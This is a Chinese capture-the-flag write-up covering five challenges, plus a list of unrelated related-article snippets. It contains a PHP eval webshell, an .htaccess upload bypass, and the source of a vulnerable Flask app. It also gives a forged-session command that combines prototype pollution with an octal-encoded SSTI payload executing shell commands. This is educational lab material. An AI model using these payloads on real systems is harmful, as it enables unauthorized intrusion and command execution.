第四届长城杯部分wp

还是太菜了,要经常练了

1.BrickGame

读源码可以看到时间的值是由js设定的,所以控制台将timeleft的时间改成999999

通过游戏就可以得到flag

 

2.SQLUP

一道文件上传的题目,在登陆页面我用admin和1登陆成功了,但是按照正常的应该是要爆破,用bp爆破得到下面的页面

登陆成功后,点击头像就可以进行文件上传,先上传一个php文件发现它限制带p的文件。

那就我想到了.htaccess文件和.user.ini文件,我使用的.htaccess文件,文件内容如下

AddType application/X-httped-php .gif

然后在上传一个1.gif文件,gif文件内容就是一句话木马

<?php @eval($_POST[1]);?>

然后访问url+uploads/gif文件名

探针测试了一下发现上传成功了

之后连接蚁剑,直接cat flag不行,需要提权,提权命令如下

tac -s 'RANDOM' "/flag"

得到flag

3.漏洞探测,流量解密

下载附件打开,发现有两个阶段,第二阶段的压缩包密码是第一阶段的攻击ip;

先在第一阶段找攻击ip,

我们可以看到木马文件为gateway.php

然后在日志中可以看到上传gateway.php的主机ip地址为192.168.30.234

因此压缩包密码为192.168.30.234

打开压缩包,还是一个流量文件,用wireshark打开,导出http流,查看其中gateway.php文件中执行的命令和回显。

在某一个文件中找到了提示,加密方式是RC4

在剩余文件中找到了key和raw,即秘钥和密文

把raw前面的key删了用rc4解密就得到flag了

4.最安全的加密方式

下载附件打开,用Wireshark打开流量,点击左上角文件里的导出对象里的http,将里面的文件全部导出

将每个文件依次使用记事本打开,发现index(3).php和index(6).php文件里的内容与其他不同,打开index(6).php发现rar头

然后进入wireshark将将它进行原始数据进行转换,转换之后将红色部分的原始数据在010中创建一个16进制文件如何将红色部分的在010中按crl+shift+v复制下来将多余的数据删掉,前面找到rar部分,最前面都删掉,后面的---的全部删掉,得到一个压缩包,需要密码,在另一个文件中找到密码

25ming

打开压缩包中的文档,发现有一堆md5数据,逐行解密md5即可得到flag

5.CandyShop

它给了源码,对源码进行审计一下

import datetime
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_wtf import FlaskForm
import re


app = Flask(__name__)

app.config['SECRET_KEY'] = 'xxxxxxx'

class RegistrationForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Register')
    
class LoginForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Login')

class Candy:
    def __init__(self, name, image):
        self.name = name
        self.image = image

class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

    def verify_password(self, username, password):
        return (self.username==username) & (self.password==password)
class Admin:
    def __init__(self):
        self.username = ""
        self.identity = ""

def sanitize_inventory_sold(value):
    return re.sub(r'[a-zA-Z_]', '', str(value))
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

candies = [Candy(name="Lollipop", image="images/candy1.jpg"),
    Candy(name="Chocolate Bar", image="images/candy2.jpg"),
    Candy(name="Gummy Bears", image="images/candy3.jpg")
]
users = []
admin_user = []
@app.route('/register', methods=['GET', 'POST'])
def register():
    form = RegistrationForm()
    if form.validate_on_submit():
        user = User(username=form.username.data, password=form.password.data)
        users.append(user)
        return redirect(url_for('login'))
    
    return render_template('register.html', form=form)

@app.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit():
        for u in users:
            if u.verify_password(form.username.data, form.password.data):
                session['username'] = form.username.data
                session['identity'] = "guest"
                return redirect(url_for('home'))
    
    return render_template('login.html', form=form)

inventory = 500
sold = 0
@app.route('/home', methods=['GET', 'POST'])
def home():
    global inventory, sold
    message = None
    username = session.get('username')
    identity = session.get('identity')

    if not username:
        return redirect(url_for('register'))
    
    if sold >= 10 and sold < 500:
        sold = 0
        inventory = 500
        message = "But you have bought too many candies!"
        return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)

    if request.method == 'POST':
        action = request.form.get('action')
        if action == "buy_candy":
            if inventory > 0:
                inventory -= 3
                sold += 3
            if inventory == 0:
                message = "All candies are sold out!"
            if sold >= 500:
                with open('secret.txt', 'r') as file:
                    message = file.read()

    return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)


@app.route('/admin', methods=['GET', 'POST'])
def admin():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    admin = Admin()
    merge(session,admin)
    admin_user.append(admin)
    return render_template('admin.html', view='index')

@app.route('/admin/view_candies', methods=['GET', 'POST'])
def view_candies():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    return render_template('admin.html', view='candies', candies=candies)

@app.route('/admin/add_candy', methods=['GET', 'POST'])
def add_candy():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    candy_name = request.form.get('name')
    candy_image = request.form.get('image')
    if candy_name and candy_image:
        new_candy = Candy(name=candy_name, image=candy_image)
        candies.append(new_candy)
    return render_template('admin.html', view='add_candy')

@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    inventory_value = sanitize_inventory_sold(inventory)
    sold_value = sanitize_inventory_sold(sold)
    return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

@app.route('/admin/add_inventory', methods=['GET', 'POST'])
def add_inventory():
    global inventory
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    if request.form.get('add'):
        num = request.form.get('add')
        inventory += int(num)
    return render_template('admin.html', view='add_inventory')

@app.route('/')
def index():
    return render_template('index.html')

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=1337)

找出关键代码

# 获取flag大致路径的
if request.method == 'POST':
        action = request.form.get('action')
        if action == "buy_candy":
            if inventory > 0:
                inventory -= 3
                sold += 3
            if inventory == 0:
                message = "All candies are sold out!"
            if sold >= 500:
                with open('secret.txt', 'r') as file:
                    message = file.read()

# 造成原型链污染处
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
....
admin = Admin()
merge(session,admin)
....

# SSTI处
def view_inventory():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    inventory_value = sanitize_inventory_sold(inventory)
    sold_value = sanitize_inventory_sold(sold)
    return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

# SSTI Waf处
def sanitize_inventory_sold(value):
    return re.sub(r'[a-zA-Z_]', '', str(value))

第二段可以上网搜一下明显的原型链污染,之后我也会了解相关知识出一篇文章

在第一段代码上面有这样的一段代码

    if sold >= 10 and sold < 500:
        sold = 0
        inventory = 500
        message = "But you have bought too many candies!"
        return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)

就是只要sold>10就会置0,所以这里用session伪造,去得到secret.txt

这里爆破key的值为a123456,然后就可以来伪造session,通过伪造sold超过500获取一下secret.txt的内容

爆破相关知识如下

Flask之session伪造(从某平台学习Session身份伪造)_session 存储身份 是否伪造-CSDN博客

在/admin/view_inventory有渲染接口,但是下面限制了不能有字母

所以需要别的方法进行绕过,绕过方法可以看下面这篇文章

https://ctftime.org/writeup/22159

最后测试出用八进制绕过这里的限制,然后再通过flask unsign工具来伪造一下session

网址:https://github.com/Paradoxis/Flask-Unsign

flask-unsign --sign --cookie "{'identity': 'admin', 'username': 'test3','__init__':{'__global
s__':{'sold':857,'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'][0][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[133][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\'][\'\\145\\166\\141\\154\'](\'\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042\\167\\150\\157\\141\\155\\151\\042\\051\\056\\162\\145\\141\\144\\050\\051\')}}'}}}" --secret 'a123456'

 在前面中已经找到了/tmp/目录接着用这个进行执行命令

不断进行ls得到目录,在ls /tmp/

15021e2b855f8e2ab83431c5d8ad4e75

得到下一个目录直到得到flag

这个题两个知识点session爆破和伪造,无字母绕过

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/875930.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

实战千问2大模型第三天——Qwen2-VL-7B(多模态)视频检测和批处理代码测试

画面描述:这个视频中,一位穿着蓝色西装的女性站在室内,背景中可以看到一些装饰品和植物。她双手交叉放在身前,面带微笑,似乎在进行一场演讲或主持活动。她的服装整洁,显得非常专业和自信。 一、简介 阿里通义千问开源新一代视觉语言模型Qwen2-VL。其中,Qwen2-VL-72B在大…

Spring Boot 集成 Redisson 实现消息队列

包含组件内容 RedisQueue&#xff1a;消息队列监听标识RedisQueueInit&#xff1a;Redis队列监听器RedisQueueListener&#xff1a;Redis消息队列监听实现RedisQueueService&#xff1a;Redis消息队列服务工具 代码实现 RedisQueue import java.lang.annotation.ElementTyp…

清理C盘缓存的垃圾,专业清理C盘缓存垃圾的步骤与策略

在维护计算机系统的过程中&#xff0c;定期清理C盘&#xff08;通常是系统盘&#xff09;中的缓存和垃圾文件是一项至关重要的任务。这不仅能有效释放磁盘空间&#xff0c;提升系统性能&#xff0c;还能减少因磁盘空间不足导致的程序运行缓慢或错误。以下是一系列专业且安全的步…

请求响应-02.请求-postman工具

一.前后端分离开发 当前主流的开发模式是前后端分离开发&#xff0c;每开发一个功能&#xff0c;就需要对该功能接口进行测试&#xff0c;当前我们的测试方法是直接将url地址输入到浏览器中&#xff0c;查看web页面是否满足我们的要求。但是浏览器发起的请求全部都是GET请求&am…

架构设计 - 常用日志收集方案选型对比与推荐

目录 1. 常用组合1.1 ELK Stack -> Elastic Stack1.2 EFK Stack1.3 Graylog1.4 PLG 日志系统1.5 Splunk1.6 Filebeat ELK1.7 AWS CloudWatch Logs1.8 阿里云日志服务1.9 腾讯云 CLS&#xff08;日志服务&#xff09; 2. 推荐 日志收集是系统监控和调试中的关键环节。常见的…

[ RK3566-Android11 ] 关于 RK628F 驱动移植以及调试说明

问题描述 我这个项目的SDK比较老&#xff0c;移植RK628F最新驱动的调试过程&#xff0c;踩了很多坑&#xff0c;希望大家别踩坑。 解决方案&#xff1a; 首先在FTP上下载最新的RK628的驱动 rk628-for-all-v27-240730 版本。 下载完后 不要直接替换&#xff0c;不要直接替换&a…

小琳AI课堂:o1系列模型

大家好&#xff0c;这里是小琳AI课堂&#xff01;今天我们一起来探索OpenAI最新发布的o1系列模型&#xff0c;这可是AI领域的一大突破哦&#xff01; OpenAI o1系列模型技术大揭秘 o1系列模型是基于强化学习&#xff08;RL&#xff09;训练的&#xff0c;包括o1-preview和o1-…

【CSS】选择器(基本选择器、复合选择器、属性匹配选择器、结构伪类选择器、伪元素选择器)

选择器 引入方式基础选择器复合选择器属性匹配选择器结构伪类选择器伪元素选择器 引入方式 1&#xff1a;外联 <!-- css引入方式1&#xff1a;外联 外联与内嵌优先级相同&#xff0c;取决于加载顺序 --><link rel"stylesheet" href"./样式.css"…

起重机检测系统源码分享

起重机检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer Visio…

直播相关02-录制麦克风声音,QT 信号与槽,自定义信号和槽

一 信号与槽函数 #include "mainwindow.h" #include <QPushButton> #include <iostream> using namespace std;//我们的目的是在 window中加入一个button&#xff0c;当点击这个button后&#xff0c;关闭 MainWindow 。 MainWindow::MainWindow(QWidget …

速通GPT-3:Language Models are Few-Shot Learners全文解读

文章目录 GPT系列论文速通论文实验总览1. 任务设置与测试策略2. 任务类别3. 关键实验结果4. 数据污染与实验局限性5. 总结与贡献 Abstract1. 概括2. 具体分析3. 摘要全文翻译4. 为什么不需要梯度更新或微调⭐ Introduction1. 概括2. 具体分析3. 进一步分析 Approach1. 概括2. 具…

【Unity学习心得】如何制作俯视角射击游戏

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、导入素材二、制作流程 1.制作地图2.实现人物动画和移动脚本3.制作单例模式和对象池4.制作手枪pistol和子弹bullet和子弹壳bulletShell5.制作散弹枪shotgun总…

MMLU-Pro 基准测试数据集上线,含 12k 个跨学科复杂问题,难度提升,更具挑战性!DeepSeek 数学模型一键部署

在大语言模型 (LLM) 蓬勃发展的时代&#xff0c;诸如大规模多任务语言理解 (MMLU) 之类的基准测试&#xff0c;在推动 AI 于不同领域的语言理解与推理能力迈向极限方面&#xff0c;发挥着至关重要的关键作用。 然而&#xff0c;伴随模型的持续改进与优化&#xff0c;LLM 在这些…

Vue路由:Vue router

目录 路由的基本概念 1. 路由 2. 单页应用SPA 3.前端路由的实现方式 3.1Hash模式 3.2History模式 Vue router 4 1.概述 2.安装使用 3.基础用法 3.1路由匹配规则声明 3.2动态路由匹配 3.3路由命名 3.4路由重定向 3.5路由嵌套 3.6命名视图 3.6声明式导航&编程…

el-input设置type=‘number‘和v-model.number的区别

el-input设置typenumber’与设置.number修饰符的区别 1. 设置type‘number’ 使用el-input时想收集数字类型的数据&#xff0c;我们首先会想到typenumber&#xff0c;设置完type为number时会限制我们输入的内容只能为数字&#xff0c;不能为字符/汉字等非数字类型的数值&…

【网络安全】-文件下载漏洞-pikachu

文件操作漏洞包括文件上传漏洞&#xff0c;文件包含漏洞&#xff0c;文件下载漏洞。 文章目录  前言 什么是文件下载漏洞&#xff1f; 1.常见形式&#xff1a; 常见链接形式&#xff1a; 常见参数&#xff1a; 2.利用方式&#xff1a; 3.举例&#xff1a;pikachu不安全的文件…

智能语音技术在人机交互中的应用与发展

摘要&#xff1a;本文主要探讨智能自动语音识别技术与语音合成技术在构建智能口语系统方面的作用。这两项技术实现了人机语音通信&#xff0c;建立起能听能说的智能口语系统。同时&#xff0c;引入开源 AI 智能名片小程序&#xff0c;分析其在智能语音技术应用场景下的意义与发…

使用ESP8266和OLED屏幕实现一个小型电脑性能监控

前言 最近大扫除&#xff0c;发现自己还有几个ESP8266MCU和一个0.96寸的oled小屏幕。又想起最近一直想要买一个屏幕作为性能监控&#xff0c;随机开始自己diy。 硬件&#xff1a; ESP8266 MUColed小屏幕杜邦线可以传输数据的数据线 环境 Windows系统Qt6Arduino Arduino 库…

计算架构模式之负载均衡技巧

通用负载均衡算法 负载均衡算法 -轮询 & 随机 如果服务器挂掉了&#xff0c;那么负载均衡器还是可以感知到的&#xff0c;因为连接已经断掉了。 负载均衡算法-加权轮询 假设你有4核的和8核的&#xff0c;由于你的程序没有办法跑完CPU&#xff0c;那么有可能出现4核的和8核…

Coggle数据科学 | 科大讯飞AI大赛:人岗匹配挑战赛 赛季3

本文来源公众号“Coggle数据科学”&#xff0c;仅用于学术分享&#xff0c;侵权删&#xff0c;干货满满。 原文链接&#xff1a;科大讯飞AI大赛&#xff1a;人岗匹配挑战赛 赛季3 赛题名称&#xff1a;人岗匹配挑战赛 赛季3 赛题类型&#xff1a;自然语言处理、文本匹配 赛题…